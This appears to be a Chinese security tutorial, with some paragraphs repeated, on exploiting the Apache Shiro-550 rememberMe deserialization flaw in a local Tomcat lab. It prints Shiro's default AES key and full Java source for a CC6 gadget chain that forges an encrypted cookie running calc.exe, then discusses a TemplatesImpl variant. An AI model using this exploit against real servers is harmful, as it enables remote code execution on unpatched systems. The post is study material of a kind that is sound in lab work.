/**
* The following Base64 string was generated by auto-generating an AES Key:
* <pre>
* AesCipherService aes = new AesCipherService();
* byte[] key = aes.generateNewKey().getEncoded();
* String base64 = Base64.encodeToString(key);
* </pre>
* The value of 'base64' was copied-n-pasted here:
*/
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
jar 包全称 Java Archive ,中文名叫 java 归档文件,这是一种与平台无关的文件格式,它允许将许多文件组合成一个压缩文件(是的,jar 包就是一种压缩文件,甚至 jar 这个单词就有罐子的意思,实际上 jar包采用的也是 zip 的压缩方式,只不过将文件后缀定义为 jar)。javaSE 程序可以打包成 jar 包。
jar 包虽然使用 zip 进行压缩和发布,但与 zip 压缩不同,jar 文件还可以用来部署和封装库,组件和插件程序,而且这样的 jar 包是可以直接被编译器和 JVM 直接使用的。
简单的讲,zip 只是将代码文件压缩,打 jar 包不仅是文件压缩,还将代码中的类进行打包,这样就可以让别人直接进行引入调用了。
再介绍一下什么是war包:
war 包与 jar 包是很类似的,不过 war 包通常用于网站,它是一个可以直接运行的 web 模块。我们在开发 web 项目一般都会使用一个 webapp 文件夹来进行开发,这个文件夹直接放在 Tomcat 的 webapps 文件夹下就可以启动该项目了。而 war 包,就是对这个文件夹进行打包。
war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。
一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。
区别
使用 jar 文件的目的是把类和相关的资源封装到压缩的归档文件中以方便调用。而对于 war 文件来说,一个 war 文件就是一个 Web 应用程序。它包含 Servlet、HTML 页面、Java 类、图像文件,以及组成 Web 应用程序的其他资源,而不仅仅是类的归档文件。
import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.TransformerClosure;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc6{
public static void main(String[] args) throws Exception{
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"c11");
Map popMap = new HashMap();
popMap.put(tiedMapEntry,"zz");
outerMap.remove("c11");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(popMap);
objectOutputStream.close();
byte[] code = byteArrayOutputStream.toByteArray();
AesCipherService aesCipherService = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource byteSource = aesCipherService.encrypt(code,key);
System.out.println(byteSource.toString());
}
}
先把浏览器缓存清除后,用生成的payload,在cookie里面加上rememberMe发过去
没有弹出计算器,但是看到这里报错信息:Unable to load class named [[Lorg.apache.commons.collections.Transformer;],意思是说不能加载Transform[]数组,具体原因在这里不做深入讨论,因为中间涉及到大量的Tomcat对类加载的处理逻辑
利用TemplatesImpl攻击shiro
像
CC6
这样的通杀链基本已经不需要其他的链子了,那为什么还需要TemplatesImpl
这样的链子呢?其实通过
TemplatesImpl
构造的利用链,理论上来说可以执行任意代码,这是非常通用的一种代码执行漏洞,不受到链的限制,所以通用性非常高。什么是Shiro反序列化
shiro是什么
Shiro是一个Java平台的开源权限框架,用于认证和访问授权
shiro反序列化漏洞的原理
为了让浏览器或服务器在重启后,用户能不丢失登录状态,
shiro
支持将持久化信息序列化并加密(先AES
加密,然后base
加密)后保存在cookie
的rememberMe
字段中,在下次读取时从浏览器读出这个字段传过去进行解密和反序列化,而
shiro1.2.4
版本之前内置了一个默认且固定的加密key
,(这个key
也就是AES
加密需要的密钥),这让加密解密变得没有意义了,同时导致了用户可以伪造任意的rememberMe cookie
,进而触发反序列化漏洞。这个漏洞也叫
shiro-550
在
shiro<=1.2.4
的版本中,这个固定的key
位于org.apache.shiro.mgt.AbstractRememberMeManager:
了解攻击原理后,来梳理一下攻击过程了:
war包和jar包的区别
什么是 jar 包
jar
包全称Java Archive
,中文名叫java
归档文件,这是一种与平台无关的文件格式,它允许将许多文件组合成一个压缩文件(是的,jar
包就是一种压缩文件,甚至jar
这个单词就有罐子的意思,实际上jar
包采用的也是zip
的压缩方式,只不过将文件后缀定义为jar
)。javaSE
程序可以打包成jar
包。再介绍一下什么是war包:
war
包与jar
包是很类似的,不过war
包通常用于网站,它是一个可以直接运行的web
模块。我们在开发web
项目一般都会使用一个webapp
文件夹来进行开发,这个文件夹直接放在Tomcat
的webapps
文件夹下就可以启动该项目了。而war
包,就是对这个文件夹进行打包。区别
使用
jar
文件的目的是把类和相关的资源封装到压缩的归档文件中以方便调用。而对于war
文件来说,一个war
文件就是一个Web
应用程序。它包含Servlet、HTML
页面、Java
类、图像文件,以及组成Web
应用程序的其他资源,而不仅仅是类的归档文件。简单的来说,
jar
只是类的归档文件,而war
包是一个完整的web
应用程序。环境搭建
这里使用的是p神给的环境,因为这是个超简单的登录应用,为了不引入其他干扰因素,没有使用任
何
Web
框架,整个项目只有两个代码文件,index.jsp和login.jsp
环境地址:
https://github.com/phith0n/JavaThings/tree/master/shirodemo
下载下来后,本地先开一个
Tomcat
的服务简单介绍下P神项目的依赖:
进入到
shirodemo
的目录输入mvn
把shirodemo
打包成war包
:看到他把
war
包放在了\target\shirodemo.war
目录下,接着把这个war
包放在tomcat
的webapps
目录下,访问http://localhost:8080/shirodemo
,跳转到了这个页面就说明搭建成功了输入默认账户密码:
root/secret
就会登陆,且如果登录时选择了web
页面的Remember me
选项,那么在登录成功后就会返回一个rememberMe
的cookie
,这个cookie
就是经过加密过后得到的。攻击流程
因为
Shiro
对Cookie
的处理方式是先将其base64
解码,然后再AES
解码,最后进行反序列化;所以说我们要构造payload
的顺序就是先AES
加密,然后Base64
加密,再进行序列化就行,而之前说到AES
需要的密钥key
是固定并且默认在org.apache.shiro.mgt.AbstractRememberMeManager
里面的。构造poc
直接用
cc6
的链子试试吧,前面的代码和cc6
是一样的,这里主要是要写一个加密,在shiro
类中有一个内置类AesCipherService
,这个类中有一个encrypt
方法,只要告诉它明文和密钥它就可以直接加密了(这里的加密是指AES
过后再用BASE64
加密,也就是得到数据可以直接用了):所以只需要在cc6的基础上加上这段代码:
构造payload:
先把浏览器缓存清除后,用生成的
payload
,在cookie
里面加上rememberMe
发过去没有弹出计算器,但是看到这里报错信息:
Unable to load class named [[Lorg.apache.commons.collections.Transformer;]
,意思是说不能加载Transform[]
数组,具体原因在这里不做深入讨论,因为中间涉及到大量的Tomcat
对类加载的处理逻辑这里直接给出p神的结论:
shiro的反序列化利用中,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
这也算是shiro
的特性了所以才需要修改
cc6
链构造不含数组的反序列化链
所以现在的问题就是想办法不用
Transform[]
数组,这时候我们就应该想到前面用TemplatesImpl
构造的cc3
的链子,这里我们还是使用InvokerTransformer
,其中的数组只有两个元素:这个数组比起
cc6
要少了很多,但它还是个数组,但是如果我们可以去掉这个数组中的一个元素不让他定义为数组,那么就可以达到目的了。接着看后面那个执行命令的InvokerTransformer
肯定是没办法去掉的,但是前面那个用来返回对象的ConstantTransformer
,我们有没有机会去掉呢?继续往下看如果要去掉
ConstantTransformer
,那么调用的对象就应该存在于InvokerTransformer
里面,看一下InvokerTransformer
类中的transform
方法:可以看到,它执行的是
input
对象中的iMethodName
方法,而前面我们是通过ConstantTransformer
将对象传进来的,那这里我们能不能直接传呢,接着往前看,看看LazyMap
中的get
方法:这里会传入一个参数
key
,this.factory.transform(key)
,那么如果这个key
就是前面我们想要通过ConstantTransformer
传进来的对象,那不也可以达到目的吗,会想到之前学cc1
的也用到了这个地方,但cc1
传入key
主要是为了进入到if
里面,这里我们可以构造一下key
让他成为ConstantTransformer
传进来的对象构造
poc
前先看看这个代码:这个主要是为了好梳理,只要反序列化能调用到
TemplatesImpl#newTransformer()
,那流程就和前面加载字节码的时候一样了,最后会执行字节码。首先是new了一个
InvokerTransformer
的类,里面封装了一个newTransformer
方法,当调用InvokerTransformer
类的transform
方法,并且传入的对象是templates
的话,可以调用到TemplatesImpl#newTransformer()
。还是倒着推吧:
当反序列化的时候会调用到
popmap
也就是hashmap
的readobject
方法,然后调用里面的hash
方法,接着他会调用popmap
里面传入的key
(也就是tiedMapEntry
)的hashcode
方法,然后进入到TiedMapEntry
里面的getvalue
方法,里面会调用TiedMapEntry
类中传入map
对象(也就是outermap
)的get
方法,传入的参数是TiedMapEntry
中传入的key
(也就是template
,注意这和前面的不是一个key
)进入到
lazymap
(也就是outermap
)的get
方法时,会判断是否存在TiedMapEntry
这个键名,肯定是不存在的,所以会调用this.factory.transform(key)
,这里之前弄cc1
的时候说到过,this.factory
就是lazymap
中传入的key
,也就是transformer
。所以也就是会调用到InvokerTransformer
类的transform
方法,并且传入的对象是templates
,后面就联系起来了。梳理完成后,构造完整的
poc
,还是先传入一 个人畜无害的方法,比如getClass
,避免恶意方法在构造Gadget的时候触发,最后,将InvokerTransformer
的方法从人畜无害的getClass
,改成newTransformer
,除key
用的是outerMap.clear()
其实和之前的outerMap.remove()
是相同的之前说过
TemplatesImpl
中对加载的字节码还有一定的要求,忘记的可以去看看前面字节码的文章,这里直接用payload
生成的class文件用base64编码就是字节码了poc
:再来尝试不用
InvokerTransformer
,接下来看看cc3
的链子同样弹出了计算器
最后
最后注意下:
shiro
不是遇到tomcat
就一定会有数组这个问题shiro-550
的修复不代表反序列化漏洞的修复,只是默认key
被移除了参考链接
本地搭建TOMCAT服务
maven的安装与配置
http://blog.o3ev.cn/yy/1196
http://arsenetang.com/2022/03/03/Java%E7%AF%87%E4%B9%8B%E5%88%A9%E7%94%A8TemplatesImpl%E6%94%BB%E5%87%BBShiro/
https://blog.csdn.net/rfrder/article/details/119899231